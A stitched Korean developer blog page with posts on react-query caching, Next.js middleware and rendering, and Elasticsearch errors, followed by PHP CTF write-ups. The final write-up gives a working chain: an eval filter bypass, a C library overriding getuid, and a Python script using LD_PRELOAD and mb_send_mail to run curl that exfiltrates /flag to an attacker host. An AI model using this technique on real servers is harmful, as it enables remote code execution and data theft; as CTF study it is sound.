react-query를 사용하여 데이터를 fetch할 때 router 객체를 가져오지 못하여 lazy query를 사용하였다.

  const router = useRouter();
  const { id } = router.query;

  const {
    data: diary,
    isLoading,
    isError,
    error,
  } = useQuery<Diary, Error>(
    "diaryDetail",
    () => getDiaryDetail(id as string),
    {
      enabled: !!id,
    }
  );

 

데이터를 수정하는 코드이다.

  const { mutate: mutateRemove } = useMutation(removeDiary, {
    onSuccess: () => {
      router.push("/");
      return queryClient.invalidateQueries(["diaryDetail", "allDiaries"]);
    },
  });

 

 

react-query는 쿼리 결과를 캐싱해뒀다가 같은 요청이 발생하면 쿼리를 다시 날리는 것이 아니라 저장해둔 캐시를 리턴한다. 데이터에 변동이 있을때는 캐시가 아닌 다시 요청을 보내 결과를 받아와야하는데 이것(refetching)을 가능하게 해주는 것이 invalidateQueries이다. 위 코드를 보면 diaryDetail을 등록해두었다. 이렇게 하면 mutation 이후에는 diaryDetail은 새로운 데이터를 가져와야 한다. 하지만 예상과 다르게 계속해서 캐시만 리턴하였다.

 

https://tanstack.com/query/latest/docs/react/guides/disabling-queries

 

Disabling/Pausing Queries | TanStack Query Docs

If you ever want to disable a query from automatically running, you can use the enabled = false option. When enabled is false:

tanstack.com

lazy query를 위해 enabled 옵션을 사용하는 이게 invalidateQueries를 무시한다고 한다.

 

  const {
    data: diary,
    isLoading,
    isError,
    error,
  } = useQuery<Diary, Error>(
    "diaryDetail",
    () => getDiaryDetail(id as string),
    {
      cacheTime: 0,
      enabled: !!id,
    }
  );

 

캐시타임을 0으로 하여 해결하였다. 이렇게 할바에 여기서 react query를 사용하지 않는 것이 나아보이는데 조금 더 알아보고 수정해야겠다.

'개발 > web' 카테고리의 다른 글

[Nextjs] middleware  (0) 2023.03.29
[Nextjs] useEffect vs useLayoutEffect  (0) 2023.03.24
[Nextjs] hydration  (0) 2023.03.24
[ES] elasticsearch error  (0) 2022.08.20
[React] sass-loader 설정 오류 해결법  (0) 2020.05.22

Server side에서 인증 과정을 통합하기 위해 찾아보다 Nextjs 12부터 middleware를 지원하는 것을 알았다.

 

프로젝트 폴더에 middleware.ts를 만들고 경로를 지정해주면 middleware로 동작한다.

import { NextResponse } from "next/server";
import type { NextRequest } from "next/server";

const passingPath = ["/login", "/signup"];
const homePath = ["/"];
const checkingPath = ["/diary"];

export function middleware(req: NextRequest) {
  const { pathname, origin } = req.nextUrl;
  const token = req.cookies.get("Authorization")?.value;

  if (token && passingPath.includes(pathname)) {
    return NextResponse.redirect(origin);
  }

  if (
    !token &&
    (homePath.includes(pathname) ||
      checkingPath.some((path) => pathname.startsWith(path)))
  ) {
    return NextResponse.redirect(`${origin}/login`);
  }

  return NextResponse.next();
}

인증 과정을 통합할 것이기 때문에 따로 경로를 지정해주지 않았다. 

'개발 > web' 카테고리의 다른 글

[react-query] lazy query 와 invalidateQueries  (0) 2023.03.29
[Nextjs] useEffect vs useLayoutEffect  (0) 2023.03.24
[Nextjs] hydration  (0) 2023.03.24
[ES] elasticsearch error  (0) 2022.08.20
[React] sass-loader 설정 오류 해결법  (0) 2020.05.22

페이지 접근시 토큰을 검증하는 과정을 추가하려 했다. Nextjs를 사용중이기에 서버측에서 검증하고 싶었으나 getServerSideProps나 api route를 사용하면 페이지 마다 로직을 추가해야하는 번거로움이 있어서 클라이언트에서 검증하는 방식으로 바꾸었다.

 

ssr시에는 router 객체를 가져올 수 없기에 useEffect로 렌더링 후에 체킹하도록 했다.

useEffect는 렌더링 후에 비동기적으로 실행되기 때문에 리다이렉트전에 블럭해야할 페이지가 잠깐 보이는 문제가 발생했다. 

 

useLayoutEffect는 페인팅전에 동기적으로 실행되기 때문에 페이지가 노출되는 현상을 막을 수 있다고 생각했다.

import { useRouter } from "next/router";
import React, { ReactNode, useEffect, useLayoutEffect } from "react";
import { useRecoilValue } from "recoil";
import sessionState from "@/lib/state/session";

const passPath = ["/login", "/signup"];

const Authentication = ({ children }: { children: ReactNode }) => {
  const session = useRecoilValue(sessionState);
  const router = useRouter();

  useLayoutEffect(() => {
    return () => {
      if (!session && !passPath.includes(router.pathname)) {
        router.push("/login");
      }
    };
  }, [session, router]);

  return <>{children}</>;
};

export default Authentication;

 

...

import Authentication from "@/components/auth/Authentication";

export default function App({ Component, pageProps }: AppProps) {
  const [queryClient] = useState(() => new QueryClient());

  return (
      ...
            <Authentication>
              <Layout>
                <Component {...pageProps} />
              </Layout>
            </Authentication>
      ...
  );
}

적용했더니 인증 로직을 처리하는 동안 보이는 하얀 화면이 마음에 들지 않았고 middleware를 이용하여 server side에서 처리하는 로직으로 바꾸었다.

'개발 > web' 카테고리의 다른 글

[react-query] lazy query 와 invalidateQueries  (0) 2023.03.29
[Nextjs] middleware  (0) 2023.03.29
[Nextjs] hydration  (0) 2023.03.24
[ES] elasticsearch error  (0) 2022.08.20
[React] sass-loader 설정 오류 해결법  (0) 2020.05.22

Rendering

virtualDom의 변화를 dom에 전달하는 과정

 

Painting

dom에서 결정된 요소들을 화면에 표시하는 과정

 

Pre-render

페이지를 미리 렌더링 하는것 (SSR, SSG, ISR)

 

SSR (Server Side Rendering)

서버에서 렌더링하는 것

 

SSG (Static Site Generation)

빌드시에 렌더링하는 것

 

ISR (Incremental Static Regeneration)

빌드시에 렌더링하고 시간 마다 다시 렌더링하는 것

 

Hydration

서버에서 pre-render된 dom에 자바스크립트를 연결하고 rendering하는 과정

client에서 일어나는 과정으로 Nextjs는 render 혹은 hydrate를 함

 

 

 

 

 

 

 

 

 

 

https://stackoverflow.com/questions/48437594/calling-render-vs-painting-the-dom

 

Calling render vs painting the DOM?

I’m learning about React and trying to get a better understanding about the lifecycle and about the different stages. One thing I just read states “React first renders and then mounts elements.

stackoverflow.com

https://www.howdy-mj.me/next/hydrate

 

Next.js의 렌더링 과정(Hydrate) 알아보기

누군가 나에게 Next.js를 쓰는 이유를 물어본다면, 가장 먼저 SSR 때문이라고 대답할 것 같다. Next.js 공식 홈페이지에서도 가장 먼저 강조하고 있는 것이 'hybrid static & server rendering'인 것처럼 말이다

www.howdy-mj.me

 

'개발 > web' 카테고리의 다른 글

[Nextjs] middleware  (0) 2023.03.29
[Nextjs] useEffect vs useLayoutEffect  (0) 2023.03.24
[ES] elasticsearch error  (0) 2022.08.20
[React] sass-loader 설정 오류 해결법  (0) 2020.05.22
Javascript BigInt  (0) 2020.05.13

https://covenant.tistory.com/224

java

https://mech2cs.tistory.com/entry/Ubuntu-2004-자바-JDK-설치-및-버전-관리

 

elasticsearch

https://linuxhostsupport.com/blog/how-to-install-elasticsearch-on-ubuntu-20-04/

메모리 초과

https://stackoverflow.com/questions/58656747/elasticsearch-job-for-elasticsearch-service-failed

{"error":{"root_cause":[{"type":"master_not_discovered_exception","reason":null}],"type":"master_not_discovered_exception","reason":null},"status":503}

https://thewayitwas.tistory.com/438

[에러] Content-Type header [application/x-www-form-urlencoded] is not supported

https://abc2080.tistory.com/entry/에러-ContentType-header-applicationxwwwformurlencoded-is-not-supported

'개발 > web' 카테고리의 다른 글

[Nextjs] middleware  (0) 2023.03.29
[Nextjs] useEffect vs useLayoutEffect  (0) 2023.03.24
[Nextjs] hydration  (0) 2023.03.24
[React] sass-loader 설정 오류 해결법  (0) 2020.05.22
Javascript BigInt  (0) 2020.05.13
<?=highlight_file(__FILE__)&&strlen($a=$_GET['ヽ(#`Д´)ノ'])<0x0A&&!preg_match('/[a-z0-9`]/i',$a)&&eval(print_r($a,1));

 

문제 소스이다. 전에 문제와 마찬가지로 php rce문제이다.

 

글자 수가 10글자를 넘어가면 안되고 알파벳, 숫자, 백틱을 필터링한다. 이 두가지 필터를 우회하는 법은 간단하다. array를 사용하는 것이다.

 

ヽ%28%23%60Д´%29ノ[]=a

 

이렇게 url 파라미터를 array 형태로 보내주면 글자수 제한을 통과하고 제한된 문자 또한 사용할 수 있다.

 

ヽ%28%23%60Д´%29ノ[]=phpinfo();

 

이렇게 코드를 보내면 에러가 발생한다.

 

 

;의 위치가 잘못되었다. eval로 실행되는 문자열을 출력해보면 Array ( [0] => phpinfo(); ) 이렇게 나온다.

 

ヽ%28%23%60Д´%29ノ[]=phpinfo()

 

;를 제거하고 보내도 마찬가지로 에러가 출력된다.

 

 

결국 ;를 넣어줘야한다.

 

ヽ%28%23%60Д´%29ノ[]=phpinfo());/*

 

괄호를 먼저 닫아주고 뒤에 남는 괄호를 주석처리해준다. 그러면 eval로 실행되는 문자열이 Array ( [0] => phpinfo());/* )이 되어 에러 없이 실행된다.

 

index.php

index.php이다. 대회 후 기억에 의존해 구현한 거라 소스가 살짝 다를 수 있다. a 파라미터를 입력받아 eval로 실행한다. 플래그는 /flag에 있다.

 

 

disable_functions
open_basedir

 

open_basedir 이 설정되어 있다. 이를 우회하기 위한 대부분의 함수들이 막혀있다. disable_functions는 대회 중에 찍어놨다.

 

그래도 방법은 있다. 리눅스 계열에서 LD_PRELOAD라는 환경변수를 제공한다. 여기에 라이브러리를 지정하면 프로세스가 실행될때 해당 라이브러리가 로드된다. 이를 이용하여 다른 라이브러리에 선언된 함수를 덮어쓸수 있다.

 

그리고 php 함수 중 내부적으로 execve를 실행하는 함수들이있다. 대표적으로 mail, error_log, mb_send_mail이 있다. mail은 execve 함수로 /bin/sh를 호출한다. 그리고 /bin/sh에서 getuid 함수를 호출하기 때문에 so파일(라이브러리)의 getuid함수에 페이로드를 넣고 업로드하여 ld_preload로 등록해주면 기존의 getuid함수가 아닌 업로드된 라이브러리의 getuid함수가 실행된다.

 

disable_functions를 보면 mail함수가 막혀있으나 랩핑함수인 mb_send_mail은 막혀있지 않아 mb_send_mail로 익스하면 된다.

 

먼저 so파일을 만들고 빌드한다.

 

#include <stdlib.h>
unsigned int getuid(void){

        char *payload = getenv("payload");
        system(payload);
        return 0;
}

 

gcc -shared -o my.so -fPIC my.c

 

my.so를 업로드하면되는데 파입업로드로 생성되는 tmp파일을 이용하면 된다고 생각했으나 open_basedir로 인해 임시파일이 생성되지 않았다.

 

대회 끝나고 디스코드에 올라온 풀이를 보고 tmpfile이라는 함수를 알게되었다. tmpfile은 리눅스 라이브러리함수이기 때문에 open_basedir에 걸리지 않고 임시파일이 생성된다. 또한 파일명은 stream_get_meta_data로 구할 수 있다.

 

import requests
from urllib import parse

payload = '''
$tmp = tmpfile();
$file_name = stream_get_meta_data($tmp)['uri'];
var_dump(stream_get_meta_data($tmp)['uri']);
fputs($tmp, urldecode($_POST['b']));
fclose();
putenv('LD_PRELOAD='.$file_name);
putenv('payload=curl http://attacker ip/?$(base64%20/flag)');
mb_send_mail(1,1,1);
'''

with open('my.so', 'rb') as f:
    data = f.read()

requests.post('http://server ip/?a=' + payload, data={'b': parse.quote(data)})

 

base64 flag

 

flag

플래그도 직접만든거라 실제 플래그와 다르다.

'webhacking > writeup' 카테고리의 다른 글

SSTF - Migration writeup  (0) 2020.08.20
PoseidonCTF - Old Rick writeup  (0) 2020.08.14
PoseidonCTF - interview writeup  (0) 2020.08.13
InCTF - NoShake writeup  (0) 2020.08.04
cybrics ctf - Gif2PNG writeup  (0) 2020.07.28

+ Recent posts